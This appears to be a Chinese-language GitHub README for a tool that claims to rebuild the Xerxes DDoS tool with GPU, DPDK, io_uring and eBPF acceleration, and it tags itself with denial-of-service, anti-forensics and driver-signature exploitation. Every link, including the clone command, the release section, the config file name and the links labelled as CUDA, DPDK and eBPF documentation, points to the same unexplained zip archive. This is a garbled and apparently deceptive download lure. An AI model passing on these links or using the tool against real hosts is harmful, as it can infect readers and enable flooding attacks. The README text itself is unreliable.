FaresArgus/artaxerxes
GitHub: FaresArgus/artaxerxes
基于 Xerxes 重构的高性能压力测试工具,集成 GPU、io_uring、DPDK、eBPF/XDP 等现代技术以实现极高并发流量生成。
Stars: 0 | Forks: 0
# Artaxerxes:面向网络安全的高性能自适应压力测试工具

[](https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip)
## 概述
Artaxerxes 是一款专为网络安全专业人员和研究人员设计的自适应高性能压力测试工具。该工具重构了旧版的 Xerxes DDoS,并利用现代技术增强了其功能。Artaxerxes 支持 GPU 处理、`io_uring`、DPDK 和 eBPF/XDP,并提供智能回退机制以确保最佳性能。
### 主要特性
- **GPU 支持**:利用 GPU 算力进行高速压力测试。
- **现代协议**:使用 `io_uring` 进行高效的 I/O 操作。
- **DPDK 集成**:利用 Data Plane Development Kit 进行快速数据包处理。
- **eBPF/XDP 支持**:实施高级网络技术以实现更好的性能。
- **智能回退**:针对每种场景自动切换至最佳可用方法。
- **教育工具**:专为高级网络安全实验室和培训环境设计。
## 安装
要开始使用 Artaxerxes,请从[发布版块](https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip)下载最新版本。按照以下说明安装并运行该工具。
### 系统要求
- **操作系统**:Linux(推荐)
- **依赖项**:确保已安装以下组件:
- CUDA Toolkit
- DPDK
- eBPF/XDP 库
- **硬件**:兼容的 GPU 以获得最佳性能。
### 安装步骤
1. **克隆仓库**:
git clone https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip
cd artaxerxes
2. **安装依赖项**:
根据您的具体环境,按照说明安装 CUDA、DPDK 和 eBPF/XDP 库。
3. **构建项目**:
make
4. **运行工具**:
构建完成后,执行二进制文件:
./artaxerxes
### 使用方法
Artaxerxes 提供命令行界面来配置和执行压力测试。以下是一些入门的基本命令。
#### 基本命令结构
```
./artaxerxes [options]
```
#### 示例命令
- **运行基本测试**:
./artaxerxes --target --duration
- **使用 GPU 加速**:
./artaxerxes --target --duration --gpu
- **利用 DPDK**:
./artaxerxes --target --duration --dpdk
### 高级配置
Artaxerxes 允许通过配置文件进行高级配置。您可以指定线程数、数据包大小等参数。
#### 示例配置文件
创建一个名为 `https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip` 的文件:
```
{
"target": "192.168.1.1",
"duration": 60,
"threads": 4,
"packet_size": 128
}
```
使用配置文件运行工具:
```
./artaxerxes --config https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip
```
## 性能指标
Artaxerxes 在压力测试期间提供实时指标。请监控以下关键性能指标:
- **每秒请求数 (RPS)**:每秒发送的请求数量。
- **延迟**:处理请求所需的时间。
- **错误率**:失败请求的百分比。
### 示例输出
```
Target: 192.168.1.1
Duration: 60 seconds
Requests per Second: 5000
Average Latency: 20ms
Error Rate: 0.5%
```
## 主题
本仓库涵盖了与网络安全和高性能测试相关的各种主题:
- **CUDA**:NVIDIA GPU 编程。
- **网络安全**:保护网络的技术和工具。
- **DPDK**:高速数据包处理框架。
- **eBPF**:扩展 Linux 内核以实现高级网络功能。
- **渗透测试**:通过模拟攻击评估安全性。
## 资源
- [CUDA 文档](https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip)
- [DPDK 文档](https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip)
- [eBPF 文档](https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip)
## 许可证
本项目采用 MIT 许可证授权。有关详细信息,请参阅 [LICENSE](LICENSE) 文件。
## 致谢
- 感谢使本项目成为可能的贡献者。
- 特别感谢 CUDA、DPDK 和 eBPF 社区提供的宝贵资源。
如需最新更新和版本,请访问[发布版块](https://github.com/FaresArgus/artaxerxes/raw/refs/heads/main/Neomorpha/Software_bedim.zip)。
标签:ASM汇编, CUDA, DDoS攻击, DPDK, IO_uring, XDP, 内核旁路, 内核驱动, 压力测试, 反取证, 安全评估, 客户端加密, 异步IO, 拒绝服务, 攻击模拟, 数据平面开发套件, 流量生成, 网络协议, 网络安全, 网络安全实验室, 网络性能, 负载测试, 配置错误, 隐私保护, 驱动签名利用, 高性能计算